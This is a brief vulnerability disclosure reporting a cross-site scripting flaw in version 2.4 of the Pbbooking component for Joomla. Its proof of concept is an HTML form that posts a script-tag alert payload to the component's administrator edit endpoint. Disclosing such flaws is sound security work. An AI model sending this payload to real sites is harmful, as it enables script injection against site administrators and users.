Joomla Pbbooking component version 2.4 suffers from a cross site scripting vulnerability.
af5c5305ec8be4ba72e73746a75b84e3ca913b3ba8f5eca7667859068840882d
Hello,
Cross-site
scripting (XSS) vulnerability in the Pbbooking 2.4 component
for Joomla! allows remote attackers to inject arbitrary web script or HTML via POST request to manage.php.
POC:
<form action="http://site/joomla/administrator/index.php?option=com_pbbooking&controller=manage&task=edit"
method="post">
<input
type="text" name="id" value="1" />
<input
type="text" name="date" value="1" />
<input type="text"
name="xss" value="<script>alert('XSS')</script>"
/>
<input
type="submit" name="submit2" value="Submit" />
</form>
Best regards.